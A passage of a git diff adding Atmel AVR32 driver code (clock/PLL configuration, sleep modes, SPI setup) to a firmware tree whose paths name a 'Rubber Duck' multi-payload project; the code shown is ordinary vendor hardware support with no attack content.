parameter of the PLL config. + // . Check out if the PLL has a valid in_cpu_f. + // . Try to have for the PLL frequency (VCO output) the highest possible value + // to reduce jitter. + while (in_osc0_f * 2 * mul / div < AVR32_PM_PLL_VCO_RANGE0_MAX_FREQ) + { + if (2 * mul > PM_MAX_MUL) + break; + mul *= 2; + div2_cpu++; + } + + if (div2_cpu != 0) + { + div2_cpu--; + div2_en = 1; + } + + pll_freq = in_osc0_f * mul / (div * (1 << div2_en)); + + // Update real CPU Frequency + param->cpu_f = pll_freq / (1 << div2_cpu); + mul--; + + scif_pll_opt_t opt; + + opt.osc = SCIF_OSC0, // Sel Osc0 or Osc1 + opt.lockcount = 16, // lockcount in main clock for the PLL wait lock + opt.div = div, // DIV=1 in the formula + opt.mul = mul, // MUL=7 in the formula + opt.pll_div2 = div2_en, // pll_div2 Divide the PLL output frequency by 2 (this settings does not change the FVCO value) + opt.pll_wbwdisable = 0, //pll_wbwdisable 1 Disable the Wide-Bandith Mode (Wide-Bandwith mode allow a faster startup time and out-of-lock time). 0 to enable the Wide-Bandith Mode. + opt.pll_freq = (pll_freq < AVR32_PM_PLL_VCO_RANGE0_MIN_FREQ) ? 1 : 0, // Set to 1 for VCO frequency range 80-180MHz, set to 0 for VCO frequency range 160-240Mhz. + + + scif_pll_setup(SCIF_PLL0, opt); // lockcount in main clock for the PLL wait lock + + /* Enable PLL0 */ + scif_pll_enable(SCIF_PLL0); + + /* Wait for PLL0 locked */ + scif_wait_for_pll_locked(SCIF_PLL0) ; + + rest = pll_freq; + while (rest > AVR32_PM_PBA_MAX_FREQ || + rest != param->pba_f) + { + div2_pba++; + rest = pll_freq / (1 << div2_pba); + if (rest < param->pba_f) + break; + } + + // Update real PBA Frequency + param->pba_f = pll_freq / (1 << div2_pba); + + + if (div2_cpu) + { + b_div2_cpu = TRUE; + div2_cpu--; + } + else + b_div2_cpu = FALSE; + + if (div2_pba) + { + b_div2_pba = TRUE; + div2_pba--; + } + else + b_div2_pba = FALSE; + + if (b_div2_cpu == TRUE ) + { + pm_set_clk_domain_div(PM_CLK_DOMAIN_0, (pm_divratio_t) div2_cpu); // CPU + pm_set_clk_domain_div(PM_CLK_DOMAIN_1, (pm_divratio_t) div2_cpu); // HSB + pm_set_clk_domain_div(PM_CLK_DOMAIN_3, (pm_divratio_t) div2_cpu); // PBB + } + if (b_div2_pba == TRUE ) + { + pm_set_clk_domain_div(PM_CLK_DOMAIN_2, (pm_divratio_t) div2_pba); // PBA + pm_set_clk_domain_div(PM_CLK_DOMAIN_4, (pm_divratio_t) div2_pba); // PBC + } + + // Set Flashc Wait State + flashc_set_flash_waitstate_and_readmode(param->cpu_f); + + // Set the main clock source as being PLL0. + pm_set_mclk_source(PM_CLK_SRC_PLL0); + + return PASS; +} +#endif // UC3C device-specific implementation + +long int pcl_switch_to_osc(pcl_osc_t osc, unsigned int fcrystal, unsigned int startup) +{ +#ifndef AVR32_PM_VERSION_RESETVALUE +// Implementation for UC3A, UC3A3, UC3B parts. + if(PCL_OSC0 == osc) + { + // Configure OSC0 in crystal mode, external crystal with a FOSC0 Hz frequency, + // enable the OSC0, set the main clock source as being OSC0. + pm_switch_to_osc0(&AVR32_PM, fcrystal, startup); + } + else + { + return PCL_NOT_SUPPORTED; + } +#else +// Implementation for UC3C, UC3L parts. + #if AVR32_PM_VERSION_RESETVALUE < 0x400 + return PCL_NOT_SUPPORTED; + #else + if(PCL_OSC0 == osc) + { + // Configure OSC0 in crystal mode, external crystal with a fcrystal Hz frequency. + scif_configure_osc_crystalmode(SCIF_OSC0, fcrystal); + // Enable the OSC0 + scif_enable_osc(SCIF_OSC0, startup, true); + // Set the Flash wait state and the speed read mode (depending on the target CPU frequency). +#if UC3L + flashcdw_set_flash_waitstate_and_readmode(fcrystal); +#elif UC3C + flashc_set_flash_waitstate_and_readmode(fcrystal); +#endif + // Set the main clock source as being OSC0. + pm_set_mclk_source(PM_CLK_SRC_OSC0); + } + else + { + return PCL_NOT_SUPPORTED; + } + #endif +#endif + return PASS; +} + +long int pcl_configure_usb_clock(void) +{ +#ifndef AVR32_PM_VERSION_RESETVALUE +// Implementation for UC3A, UC3A3, UC3B parts. + pm_configure_usb_clock(); + return PASS; +#else + #if UC3C + const scif_pll_opt_t opt = { + .osc = SCIF_OSC0, // Sel Osc0 or Osc1 + .lockcount = 16, // lockcount in main clock for the PLL wait lock + .div = 1, // DIV=1 in the formula + .mul = 5, // MUL=7 in the formula + .pll_div2 = 1, // pll_div2 Divide the PLL output frequency by 2 (this settings does not change the FVCO value) + .pll_wbwdisable = 0, //pll_wbwdisable 1 Disable the Wide-Bandith Mode (Wide-Bandwith mode allow a faster startup time and out-of-lock time). 0 to enable the Wide-Bandith Mode. + .pll_freq = 1, // Set to 1 for VCO frequency range 80-180MHz, set to 0 for VCO frequency range 160-240Mhz. + }; + + /* Setup PLL1 on Osc0, mul=7 ,no divisor, lockcount=16, ie. 16Mhzx6 = 96MHz output */ + scif_pll_setup(SCIF_PLL1, opt); // lockcount in main clock for the PLL wait lock + + /* Enable PLL1 */ + scif_pll_enable(SCIF_PLL1); + + /* Wait for PLL1 locked */ + scif_wait_for_pll_locked(SCIF_PLL1) ; + + // Implementation for UC3C parts. + // Setup the generic clock for USB + scif_gc_setup( +#if (defined AVR32_USBB) + AVR32_SCIF_GCLK_USB, +#else + AVR32_SCIF_GCLK_USBC, +#endif + SCIF_GCCTRL_PLL1, + AVR32_SCIF_GC_NO_DIV_CLOCK, + 0); + // Now enable the generic clock + scif_gc_enable( +#if (defined AVR32_USBB) + AVR32_SCIF_GCLK_USB +#else + AVR32_SCIF_GCLK_USBC +#endif + ); + return PASS; + #else + return PCL_NOT_SUPPORTED; + #endif +#endif +} + + +#if UC3L +#else +void pcl_write_gplp(unsigned long gplp, unsigned long value) +{ +#ifndef AVR32_PM_VERSION_RESETVALUE +// Implementation for UC3A, UC3A3, UC3B parts. + pm_write_gplp(&AVR32_PM,gplp,value); +#else + scif_write_gplp(gplp,value); +#endif +} + +unsigned long pcl_read_gplp(unsigned long gplp) +{ +#ifndef AVR32_PM_VERSION_RESETVALUE +// Implementation for UC3A, UC3A3, UC3B parts. + return pm_read_gplp(&AVR32_PM,gplp); +#else + return scif_read_gplp(gplp); +#endif +} +#endif diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/drivers/pm/power_clocks_lib.h b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/drivers/pm/power_clocks_lib.h new file mode 100644 index 0000000..f143a2d --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/drivers/pm/power_clocks_lib.h @@ -0,0 +1,381 @@ +/*This file has been prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief High-level library abstracting features such as oscillators/pll/dfll + * configuration, clock configuration, System-sensible parameters + * configuration, buses clocks configuration, sleep mode, reset. + * + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + *****************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#ifndef _POWER_CLOCKS_LIB_H_ +#define _POWER_CLOCKS_LIB_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +#include +#include "compiler.h" + +#ifndef AVR32_PM_VERSION_RESETVALUE +// Support for UC3A, UC3A3, UC3B parts. + #include "pm.h" +#else +//! Device-specific data +#if UC3L + #include "pm_uc3l.h" + #include "scif_uc3l.h" + #include "flashcdw.h" +#elif UC3C + #include "pm_uc3c.h" + #include "scif_uc3c.h" + #include "flashc.h" +#elif UC3D + #include "pm_uc3d.h" + #include "scif_uc3d.h" + #include "flashcdw.h" +#endif + #endif + +/*! \name Clocks Management + */ +//! @{ + +//! The different oscillators +typedef enum +{ + PCL_OSC0 = 0, + PCL_OSC1 = 1 +} pcl_osc_t; + +//! The different DFLLs +typedef enum +{ + PCL_DFLL0 = 0, + PCL_DFLL1 = 1 +} pcl_dfll_t; + +//! Possible Main Clock Sources +typedef enum +{ + PCL_MC_RCSYS, // Default main clock source, supported by all (aka Slow Clock) + PCL_MC_OSC0, // Supported by all + PCL_MC_OSC1, // Supported by UC3C only + PCL_MC_OSC0_PLL0, // Supported by UC3A, UC3B, UC3A3, UC3C (the main clock source is PLL0 with OSC0 as reference) + PCL_MC_OSC1_PLL0, // Supported by UC3A, UC3B, UC3A3, UC3C (the main clock source is PLL0 with OSC1 as reference) + PCL_MC_OSC0_PLL1, // Supported by UC3C (the main clock source is PLL1 with OSC0 as reference) + PCL_MC_OSC1_PLL1, // Supported by UC3C (the main clock source is PLL1 with OSC1 as reference) + PCL_MC_DFLL0, // Supported by UC3L + PCL_MC_DFLL1, // Not supported yet + PCL_MC_RC120M, // Supported by UC3L, UC3C + PCL_MC_RC8M, // Supported by UC3C + PCL_MC_CRIPOSC // Supported by UC3C +} pcl_mainclk_t; + +//! Input and output parameters to configure clocks with pcl_configure_clocks(). +// NOTE: regarding the frequency settings, always abide by the datasheet rules and min & max supported frequencies. +#ifndef AVR32_PM_VERSION_RESETVALUE +// Support for UC3A, UC3A3, UC3B parts. +#define pcl_freq_param_t pm_freq_param_t // See pm.h +#else +// Support for UC3C, UC3L parts. +typedef struct +{ + //! Main clock source selection (input argument). + pcl_mainclk_t main_clk_src; + + //! Target CPU frequency (input/output argument). + unsigned long cpu_f; + + //! Target PBA frequency (input/output argument). + unsigned long pba_f; + + //! Target PBB frequency (input/output argument). + unsigned long pbb_f; + + //! Target PBC frequency (input/output argument). + unsigned long pbc_f; + + //! Oscillator 0's external crystal(or external clock) frequency (board dependant) (input argument). + unsigned long osc0_f; + + //! Oscillator 0's external crystal(or external clock) startup time: AVR32_PM_OSCCTRL0_STARTUP_x_RCOSC (input argument). + unsigned long osc0_startup; + + //! DFLL target frequency (input/output argument) (NOTE: the bigger, the most stable the frequency) + unsigned long dfll_f; + + //! Other parameters that might be necessary depending on the device (implementation-dependent). + // For the UC3L DFLL setup, this parameter should be pointing to a structure of + // type (scif_gclk_opt_t *). + void *pextra_params; +} pcl_freq_param_t; +#endif + +//! Define "not supported" for the lib. +#define PCL_NOT_SUPPORTED (-10000) + +/*! \brief Automatically configure the CPU, PBA, PBB, and HSB clocks + * + * This function needs some parameters stored in a pcl_freq_param_t structure: + * - main_clk_src is the id of the main clock source to use, + * - cpu_f and pba_f and pbb_f are the wanted frequencies, + * - osc0_f is the oscillator 0's external crystal (or external clock) on-board frequency (e.g. FOSC0), + * - osc0_startup is the oscillator 0's external crystal (or external clock) startup time (e.g. OSC0_STARTUP). + * - dfll_f is the target DFLL frequency to set-up if main_clk_src is the dfll. + * + * The CPU, HSB and PBA frequencies programmed after configuration are stored back into cpu_f and pba_f. + * + * \note: since it is dynamically computing the appropriate field values of the + * configuration registers from the parameters structure, this function is not + * optimal in terms of code size. For a code size optimal solution, it is better + * to create a new function from pcl_configure_clocks() and modify it to use + * preprocessor computation from pre-defined target frequencies. + * + * \param param pointer on the configuration structure. + * + * \retval 0 Success. + * \retval <0 The configuration cannot be performed. + */ +extern long int pcl_configure_clocks(pcl_freq_param_t *param); + +/*! \brief Automatically configure the CPU, PBA, PBB, and HSB clocks using the RCSYS osc as main source clock. + * + * This function needs some parameters stored in a pcl_freq_param_t structure: + * - cpu_f and pba_f and pbb_f are the wanted frequencies + * + * Supported main clock sources: PCL_MC_RCSYS + * + * Supported synchronous clocks frequencies: + * 115200Hz, 57600Hz, 28800Hz, 14400Hz, 7200Hz, 3600Hz, 1800Hz, 900Hz, 450Hz. + * + * \note: by default, this implementation doesn't perform thorough checks on the + * input parameters. To enable the checks, define AVR32SFW_INPUT_CHECK. + * + * \note: since it is dynamically computing the appropriate field values of the + * configuration registers from the parameters structure, this function is not + * optimal in terms of code size. For a code size optimal solution, it is better + * to create a new function from pcl_configure_clocks_rcsys() and modify it to use + * preprocessor computation from pre-defined target frequencies. + * + * \param param pointer on the configuration structure. + * + * \retval 0 Success. + * \retval <0 The configuration cannot be performed. + */ +extern long int pcl_configure_clocks_rcsys(pcl_freq_param_t *param); + +/*! \brief Automatically configure the CPU, PBA, PBB, and HSB clocks using the RC120M osc as main source clock. + * + * This function needs some parameters stored in a pcl_freq_param_t structure: + * - cpu_f and pba_f and pbb_f are the wanted frequencies + * + * Supported main clock sources: PCL_MC_RC120M + * + * Supported synchronous clocks frequencies: + * 30MHz, 15MHz, 7.5MHz, 3.75MHz, 1.875MHz, 937.5kHz, 468.75kHz. + * + * \note: by default, this implementation doesn't perform thorough checks on the + * input parameters. To enable the checks, define AVR32SFW_INPUT_CHECK. + * + * \note: since it is dynamically computing the appropriate field values of the + * configuration registers from the parameters structure, this function is not + * optimal in terms of code size. For a code size optimal solution, it is better + * to create a new function from pcl_configure_clocks_rc120m() and modify it to + * use preprocessor computation from pre-defined target frequencies. + * + * \param param pointer on the configuration structure. + * + * \retval 0 Success. + * \retval <0 The configuration cannot be performed. + */ +extern long int pcl_configure_clocks_rc120m(pcl_freq_param_t *param); + +/*! \brief Automatically configure the CPU, PBA, PBB, and HSB clocks using the OSC0 osc as main source clock + * + * This function needs some parameters stored in a pcl_freq_param_t structure: + * - cpu_f and pba_f and pbb_f are the wanted frequencies, + * - osc0_f is the oscillator 0's external crystal (or external clock) on-board frequency (e.g. FOSC0), + * - osc0_startup is the oscillator 0's external crystal (or external clock) startup time (e.g. OSC0_STARTUP). + * + * Supported main clock sources: PCL_MC_OSC0 + * + * Supported synchronous clocks frequencies: + * (these obviously depend on the OSC0 frequency; we'll take 16MHz as an example) + * 16MHz, 8MHz, 4MHz, 2MHz, 1MHz, 500kHz, 250kHz, 125kHz, 62.5kHz. + * + * \note: by default, this implementation doesn't perform thorough checks on the + * input parameters. To enable the checks, define AVR32SFW_INPUT_CHECK. + * + * \note: since it is dynamically computing the appropriate field values of the + * configuration registers from the parameters structure, this function is not + * optimal in terms of code size. For a code size optimal solution, it is better + * to create a new function from pcl_configure_clocks_osc0() and modify it to use + * preprocessor computation from pre-defined target frequencies. + * + * \param param pointer on the configuration structure. + * + * \retval 0 Success. + * \retval <0 The configuration cannot be performed. + */ +extern long int pcl_configure_clocks_osc0(pcl_freq_param_t *param); + +/*! \brief Automatically configure the CPU, PBA, PBB, and HSB clocks using the DFLL0 as main source clock + * + * This function needs some parameters stored in a pcl_freq_param_t structure: + * - cpu_f and pba_f and pbb_f are the wanted frequencies, + * - dfll_f is the target DFLL frequency to set-up + * + * \note: when the DFLL0 is to be used as main source clock for the synchronous clocks, + * the target frequency of the DFLL should be chosen to be as high as possible + * within the specification range (for stability reasons); the target cpu and pbx + * frequencies will then be reached by appropriate division ratio. + * + * Supported main clock sources: PCL_MC_DFLL0 + * + * Supported synchronous clocks frequencies: + * (these obviously depend on the DFLL target frequency; we'll take 100MHz as an example) + * 50MHz, 25MHz, 12.5MHz, 6.25MHz, 3.125MHz, 1562.5kHz, 781.25kHz, 390.625kHz. + * + * \note: by default, this implementation doesn't perform thorough checks on the + * input parameters. To enable the checks, define AVR32SFW_INPUT_CHECK. + * + * \note: since it is dynamically computing the appropriate field values of the + * configuration registers from the parameters structure, this function is not + * optimal in terms of code size. For a code size optimal solution, it is better + * to create a new function from pcl_configure_clocks_dfll0() and modify it to + * use preprocessor computation from pre-defined target frequencies. + * + * \param param pointer on the configuration structure. + * + * \retval 0 Success. + * \retval <0 The configuration cannot be performed. + */ +extern long int pcl_configure_clocks_dfll0(pcl_freq_param_t *param); + +/*! \brief Switch the main clock source to Osc0 configured in crystal mode + * + * \param osc The oscillator to enable and switch to. + * \param fcrystal Oscillator external crystal frequency (Hz) + * \param startup Oscillator startup time. + * + * \return Status. + * \retval 0 Success. + * \retval <0 An error occured. + */ +extern long int pcl_switch_to_osc(pcl_osc_t osc, unsigned int fcrystal, unsigned int startup); + +/*! \brief Enable the clock of a module. + * + * \param module The module to clock (use one of the defines in the part-specific + * header file under "toolchain folder"/avr32/inc(lude)/avr32/; depending on the + * clock domain, look for the sections "CPU clocks", "HSB clocks", "PBx clocks" + * or look in the module section). + * + * \return Status. + * \retval 0 Success. + * \retval <0 An error occured. + */ +#ifndef AVR32_PM_VERSION_RESETVALUE +// Implementation for UC3A, UC3A3, UC3B parts. +#define pcl_enable_module(module) pm_enable_module(&AVR32_PM, module) +#else +// Implementation for UC3C, UC3L parts. +#define pcl_enable_module(module) pm_enable_module(module) +#endif + +/*! \brief Disable the clock of a module. + * + * \param module The module to shut down (use one of the defines in the part-specific + * header file under "toolchain folder"/avr32/inc(lude)/avr32/; depending on the + * clock domain, look for the sections "CPU clocks", "HSB clocks", "PBx clocks" + * or look in the module section). + * + * \return Status. + * \retval 0 Success. + * \retval <0 An error occured. + */ +#ifndef AVR32_PM_VERSION_RESETVALUE +// Implementation for UC3A, UC3A3, UC3B parts. +#define pcl_disable_module(module) pm_disable_module(&AVR32_PM, module) +#else +// Implementation for UC3C, UC3L parts. +#define pcl_disable_module(module) pm_disable_module(module) +#endif + +/*! \brief Configure the USB Clock + * + * + * \return Status. + * \retval 0 Success. + * \retval <0 An error occured. + */ +extern long int pcl_configure_usb_clock(void); + +//! @} + +/*! \name Power Management + */ +//! @{ +/*! + * \brief Read the content of the GPLP registers + * \param gplp GPLP register index (0,1,... depending on the number of GPLP registers for a given part) + * + * \return The content of the chosen GPLP register. + */ +extern unsigned long pcl_read_gplp(unsigned long gplp); + + +/*! + * \brief Write into the GPLP registers + * \param gplp GPLP register index (0,1,... depending on the number of GPLP registers for a given part) + * \param value Value to write + */ +extern void pcl_write_gplp(unsigned long gplp, unsigned long value); + +//! @} + +#ifdef __cplusplus +} +#endif + +#endif // _POWER_CLOCKS_LIB_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/drivers/pm/sleep.h b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/drivers/pm/sleep.h new file mode 100644 index 0000000..7be961c --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/drivers/pm/sleep.h @@ -0,0 +1,149 @@ +/** + * \file + * + * \brief Sleep mode access + * + * Copyright (C) 2010 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ +#ifndef SLEEP_H +#define SLEEP_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include + +#ifndef AVR32_PM_SMODE_GMCLEAR_MASK +#define AVR32_PM_SMODE_GMCLEAR_MASK 0x80 +#else +#warning Define already present in the system toolchain header files! +#endif + +/** + * \defgroup sleep_group Power Manager (PM) + * + * This is a stub on the AVR UC3 Power Manager(PM) for the sleepmgr service. + * + * \note To minimize the code overhead, these functions do not feature + * interrupt-protected access since they are likely to be called inside + * interrupt handlers or in applications where such protection is not + * necessary. If such protection is needed, it must be ensured by the calling + * code. + * + * @{ + */ + +#if defined(__DOXYGEN__) +/** + * \brief Sets the MCU in the specified sleep mode + * \param sleep_mode Sleep mode to set. + */ +#endif + +#if (UC3A || UC3B) // For AVR UC3 A0/A1, UC3 B, UC3 A3 series + +# ifndef AVR32_PM_SMODE_DEEPSTOP +# define AVR32_PM_SMODE_DEEPSTOP 0x00000004 +# endif +# include "pm.h" +#elif UC3C // For AVR UC3 C series +# include "pm_uc3c.h" +#elif UC3D // For AVR UC3 D series +# include "pm_uc3d.h" +#elif UC3L // For AVR UC3 L series +# include "pm_uc3l.h" +#else +# error Unsupported AVR UC3 series. +#endif + +static inline void pm_sleep(int sleep_mode) +{ + switch (sleep_mode) { + case AVR32_PM_SMODE_IDLE: + SLEEP(AVR32_PM_SMODE_IDLE); + break; + case AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_IDLE: + SLEEP(AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_IDLE); + break; + case AVR32_PM_SMODE_FROZEN: + SLEEP(AVR32_PM_SMODE_FROZEN); + break; + case AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_FROZEN: + SLEEP(AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_FROZEN); + break; + case AVR32_PM_SMODE_STANDBY: + SLEEP(AVR32_PM_SMODE_STANDBY); + break; + case AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_STANDBY: + SLEEP(AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_STANDBY); + break; + case AVR32_PM_SMODE_STOP: + SLEEP(AVR32_PM_SMODE_STOP); + break; + case AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_STOP: + SLEEP(AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_STOP); + break; + case AVR32_PM_SMODE_DEEPSTOP: + SLEEP(AVR32_PM_SMODE_DEEPSTOP); + break; + case AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_DEEPSTOP: + SLEEP(AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_DEEPSTOP); + break; + case AVR32_PM_SMODE_STATIC: + SLEEP(AVR32_PM_SMODE_STATIC); + break; + case AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_STATIC: + SLEEP(AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_STATIC); + break; +#if UC3L + case AVR32_PM_SMODE_SHUTDOWN: + SLEEP(AVR32_PM_SMODE_SHUTDOWN); + break; + case AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_SHUTDOWN: + SLEEP(AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_SHUTDOWN); + break; +#endif + default: + break; + } +} + + +//! @} + +#ifdef __cplusplus +} +#endif + +#endif /* SLEEP_H */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/drivers/spi/spi.c b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/drivers/spi/spi.c new file mode 100644 index 0000000..88c48e1 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/drivers/spi/spi.c @@ -0,0 +1,423 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief SPI driver for AVR32 UC3. + * + * This file defines a useful set of functions for the SPI interface on AVR32 + * devices. + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices with an SPI module can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#include "spi.h" + +#ifdef FREERTOS_USED + +#include "FreeRTOS.h" +#include "semphr.h" + +#endif + + +/*! \name SPI Writable Bit-Field Registers + */ +//! @{ + +typedef union +{ + unsigned long cr; + avr32_spi_cr_t CR; +} u_avr32_spi_cr_t; + +typedef union +{ + unsigned long mr; + avr32_spi_mr_t MR; +} u_avr32_spi_mr_t; + +typedef union +{ + unsigned long tdr; + avr32_spi_tdr_t TDR; +} u_avr32_spi_tdr_t; + +typedef union +{ + unsigned long ier; + avr32_spi_ier_t IER; +} u_avr32_spi_ier_t; + +typedef union +{ + unsigned long idr; + avr32_spi_idr_t IDR; +} u_avr32_spi_idr_t; + +typedef union +{ + unsigned long csr; + avr32_spi_csr0_t CSR; +} u_avr32_spi_csr_t; + +//! @} + + +#ifdef FREERTOS_USED + +//! The SPI mutex. +static xSemaphoreHandle xSPIMutex; + +#endif + + +int16_t getBaudDiv(const unsigned int baudrate, uint32_t pba_hz) +{ + int baudDiv = (pba_hz + baudrate / 2) / baudrate; + + if (baudDiv <= 0 || baudDiv > 255) { + return -1; + } + + return baudDiv; +} + +spi_status_t spi_initSlave(volatile avr32_spi_t *spi, + unsigned char bits, + unsigned char spi_mode) +{ + if (spi_mode > 3 || + bits < 8 || bits > 16) { + return SPI_ERROR_ARGUMENT; + } + + // Reset. + spi->cr = AVR32_SPI_CR_SWRST_MASK; + + // Will use CSR0 offsets; these are the same for CSR0 to CSR3. + spi->csr0 = ((spi_mode >> 1) << AVR32_SPI_CSR0_CPOL_OFFSET) | + (((spi_mode & 0x1) ^ 0x1) << AVR32_SPI_CSR0_NCPHA_OFFSET) | + ((bits - 8) << AVR32_SPI_CSR0_BITS_OFFSET); + + return SPI_OK; +} + + +spi_status_t spi_initTest(volatile avr32_spi_t *spi) +{ + // Reset. + spi->cr = AVR32_SPI_CR_SWRST_MASK; + spi->mr |= AVR32_SPI_MR_MSTR_MASK | // Master Mode. + AVR32_SPI_MR_LLB_MASK; // Local Loopback. + + return SPI_OK; +} + + +spi_status_t spi_initMaster(volatile avr32_spi_t *spi, const spi_options_t *options) +{ + u_avr32_spi_mr_t u_avr32_spi_mr; + + if (options->modfdis > 1) { + return SPI_ERROR_ARGUMENT; + } + + // Reset. + spi->cr = AVR32_SPI_CR_SWRST_MASK; + + // Master Mode. + u_avr32_spi_mr.mr = spi->mr; + 